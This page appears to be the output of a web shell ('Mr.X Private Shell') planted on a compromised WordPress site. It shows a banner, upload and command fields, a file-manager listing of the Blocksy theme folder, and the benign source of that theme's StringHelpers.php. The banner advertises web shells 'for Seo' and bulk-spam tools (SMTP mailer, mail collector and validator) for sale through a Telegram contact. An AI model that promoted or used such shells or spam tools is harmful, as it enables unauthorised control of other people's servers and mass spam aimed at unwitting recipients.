__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Blocksy;

class StringHelpers {
	private $string = '';

	// TODO: maybe expose context in the filter so we could apply a different
	// logic for different contexts.
	public function __construct($string, $context = 'excerpt') {
		$this->string = $string;
	}

	public function count_words() {
		$maybe_custom_counter = apply_filters(
			'blocksy:general:string-helpers:count-words',
			null,
			$this->string
		);

		if ($maybe_custom_counter !== null) {
			return $maybe_custom_counter;
		}

		$word_count = 0;

		if (
			str_starts_with(wp_get_word_count_type(), 'characters')
			// &&
			// preg_match('/^utf\-?8$/i', get_option('blog_charset'))
			&&
			function_exists('mb_strlen')
		) {
			$word_count = mb_strlen(strip_tags($this->string));
		} else {
			// https://www.php.net/manual/en/function.str-word-count.php#107363
			$word_count = count(
				preg_split('~[^\p{L}\p{N}\']+~u', strip_tags($this->string))
			);
		}

		return $word_count;
	}

	public function trim_words($length, $more = '…') {
		$maybe_custom_trim = apply_filters(
			'blocksy:general:string-helpers:trim-words',
			null,
			$this->string,
			$length,
			$more
		);

		if ($maybe_custom_trim !== null) {
			return $maybe_custom_trim;
		}

		if (
			str_starts_with(wp_get_word_count_type(), 'characters')
			// &&
			// preg_match('/^utf\-?8$/i', get_option('blog_charset'))
			&&
			function_exists('mb_strimwidth')
		) {
			$text = mb_strimwidth($this->string, 0, $length, $more);
		} else {
			$text = wp_trim_words($this->string, $length, $more);
		}

		return $text;
	}
}


Filemanager

Name Type Size Permission Actions
db-versioning Folder 0750
StringHelpers.php File 1.54 KB 0640
archive-title-renderer.php File 1.11 KB 0640
autoload.php File 6.7 KB 0640
blocksy-blocks-parser.php File 941 B 0640
blocksy-walker-page.php File 1.06 KB 0640
class-ct-attributes-parser.php File 6.67 KB 0640
class-ct-css-injector.php File 7.06 KB 0640
class-ct-group-title.php File 1.12 KB 0640
colors.php File 2.28 KB 0640
database.php File 584 B 0640
entity-id-picker.php File 6.39 KB 0640
hooks-manager.php File 3.63 KB 0640
print.php File 5.19 KB 0640
raii.php File 255 B 0640
screen-manager.php File 14.04 KB 0640
theme-db-versioning.php File 36.14 KB 0640
trait-wordpress-actions-manager.php File 2.01 KB 0640
translations-manager.php File 8.9 KB 0640
woo-import-export.php File 7.61 KB 0640
woo-variation-images-import-export.php File 2.44 KB 0640
Filemanager